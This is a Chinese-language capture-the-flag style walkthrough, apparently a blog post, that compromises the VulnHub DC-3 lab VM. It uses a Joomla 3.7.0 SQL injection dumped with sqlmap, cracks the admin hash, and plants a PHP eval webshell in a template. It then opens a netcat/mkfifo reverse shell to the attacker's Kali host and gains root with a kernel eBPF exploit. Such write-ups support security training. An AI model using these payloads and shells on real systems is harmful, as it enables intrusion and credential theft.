DC -3靶场渗透

一、环境搭建

 靶场下载地址:

https://www.vulnhub.com/entry/dc-32,312/

二、渗透靶场

靶场ip:192.168.254.0/24

1、信息收集:寻找靶场真实ip

nmap -sP 192.168.254.0/24

7f64cbd740d64fafbac3d71f4404990d.png

192.168.254.1 vm8网卡

192.168.254.2 网关

192.168.254.132 靶机

192.168.254.254 DHCP服务器

192.168.254.129 kali本机

2、信息收集:探端口及服务

nmap -A -p- -v 192.168.254.132

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息

354ebddb7a824258b9f125e008cfb74a.png

发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla

bafe375e75df4f9c91f24c3b7c4dad0f.png

他告诉我们这次DC-3实战只有一个目标获得root权限

3、 利用JoomScan进行扫描获取后台地址

由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。

joomscan --url http://192.168.66.142  提示没有joomscan 选择y安装

9e5571dae8a346fa8907640be4eb8b70.png

扫描结果如下

f2f5558b9d6246c380e7cd68e4f81e34.png

知道了joomla cms版本为3.7.0
得到了网站后台地址http://192.168.254.132/administrator/

925f3e5a045b43dd910ea5a6858f8cb1.png

4、利用nikto扫描获取后台地址

      Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

nikto --url http://192.168.254.132/ 

14f2ef18136247a09ced772d8b7e697f.png

5、查找漏洞发现存在SQL注入

我们前面知道了CMS为joomla,版本为3.7.0  使用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0

8612fe7e05864bf28e7d96c395a3ff5b.png

我们发现有一个SQL注入,还存在一个XSS

我们可以看一下这个漏洞的提示信息

searchsploit -m 42033.txt

0a2145fa9bb24949ad74c5a87932f2bc.png

查看提示信息 

cat 42033.txt

c33400c54cd949e3a66c03ef055566a0.png 我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok

http://192.168.254.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示,数据库语句错误,说明进行了拼接,存在SQL注入

30369e1407e84092b6b14ad4205213c2.png

6、sqlmap跑出数据

1.跑出所有数据库

sqlmap -u "http://192.168.254.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

f8cb21548c1f4485b5a2cd492d81467d.png

扫描结果
成功把数据库跑出来了

ac2f5af31c6646df8b2a1e52db31dd98.png

2.获取当前数据库的名字joomladb

sqlmap -u "http://192.168.254.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch

9506c92d49cf40a380798f72c766c6b7.png

sqlmap -u "http://192.168.254.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch

7ea1a88ca215476b908622f2f648664d.png

观察表名,很明显,我们会关注#__users这张表

3.获取joomladb的users表的字段名

sqlmap -u "http://192.168.254.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项,直接回车使用默认的“Y”

17edb68ef01740e297a43948d3ef661d.png

第二个选项,使用“y”,不要使用默认的,不然会出错

f80c351a80ee4a74a93066bb5316489b.png

第三个选项,随意

5a8ca42db1684d0fbe250865d028f27c.png

第四个选项使用10线程

3cb289c122c0443fa659b7c4ea93e7ea.png

最终跑出六个字段

58297cee9a054188a6899c1437465914.png

4.获取目标字段username和password

sqlmap -u "http://192.168.254.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

获得结果如下
拿到一个用户名和加密的密码

d7b52f51d8fa423f8fe19ac957a88594.png

7、利用john爆破密码snoopy

    使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

创建一个1.txt,把加密的密码字段写入

da84b6eb3a494be29b80ae995e0678e0.png

使用john破解出admin密码是snoopy

edabd63bbd2548f6af180d3cdf1cdb0c.png

8、利用获取到的账号密码进行登录

http://192.168.254.132/administrator/

admin/snoopy

登陆成功

3077559c8c3a4435a862c1852dbe64f0.png

9、上传webshell

 发现一个上传点

b33509026d4440a2bfbdc51536562f8e.png

点击Beez3 Details and Files进入

c75a86e22f7042a8b9e685597845cde7.png

点击newfiles

186e5aa9fe1b4c05ad13abaed019f6ca.png

这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑

要上传木马,我们先要找到当前文件所在的目录

9a0dd30e2da64dcfa15de5b8cb12a26d.png

http://192.168.254.132/templates/beez3/html/

cc91e0af1c4341faace531ad85a32372.png

回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell

c0d50b3894894b1fac661f2fb78146c6.png

创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存

<?php

echo ("密码是a");

@eval($_REQUEST [a]);

?>

d0feece94a394612bdd4b62bd81956be.png

再次访问http://192.168.254.132/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下

44897575d0184077a7d9994d8a4e500e.png

访问webshell,得到我们设置的会先内容,文件上传成功

http://192.168.254.132/templates/beez3/html/shell.php

ef885572da444ce6bc9f30ed2c875f1f.png

10、蚁剑管理webshell

    右键添加数据

82e4d49419404231b45731b76d14ec11.png

右键进入虚拟终端执行whaomi查询我权限,是www-data权限

dba9423bb6554ac4915b573f5b3a0f37.png

11、反弹shell到kali

蚁剑看到的终端不如kali清晰,反弹一个shell到kali

1.kali监听

nc -lvvp 1234

1045dded3fe44dddbba75a85e5441269.png

2.靶机连接

nc -e /bin/bash 192.168.254.129 1234

发现-e参数不可用

e75e16f0395f4b538cd98fe003d0bb88.png

使用如下目录连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.254.129 1234 >/tmp/f

6f9eaa8a12fe42b7afb77c1c6ebf3973.png

f9963efc8a4b49d68a949cff8f3b3924.png

12、创建交互式shell

经常用shell的都知道这个shell不好用,我们建立一个交互式shell

常用的就是python创建交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

cd856a8cb2fd4750b89127881c4007ae.png

13、使用辅助脚本发现提权漏洞

1.下载辅助脚本Linux-Exploit-Suggester.sh

下载地址:

https://github.com/mzet-/linux-exploit-suggester

2.上传辅助脚本

我们直接在蚁剑中上传

5673d51d502747c7a5408e88efacfe1a.png

上传成功

3.发现漏洞

ls -l linux-exploit-suggester.sh

0498af7f16654e1c8a9d5228993922d2.png

发现没有执行权限,我们给他加个执行文件

chmod +x linux-exploit-suggester.sh

a49b02e212d248b7af212de1994a1b4a.png

 执行脚本

./linux-exploit-suggester.sh

发现很多可利用漏洞

763192482f54422f8ba0d7808d6e6ea4.png

228da1a789e645c790c0f9bce5fe1ab4.png

13、使用辅助脚本提权

1.获取提权脚本

上面发现了很多漏洞,这里我们挑一个进行提权

挑选CVE-2016-4557

9a4d7ddde35f4daebf3f5d7e1bec6d3c.png

在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载

也可以去searchsploit里面去看看 

a4e402fa68914a39b4ddf8fc01bfb97a.png

地址根上面一样也不能使用

                        

2.可以使用下面地址直接下载

bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab

    

3.提权

解压文件

unzip 39772.zip

cd 33792

ls

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

./compile.sh

./doubleput

执行完之后,提权成功

获得root权限

14、发现the-flag.txt

ls

cat the-flag.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值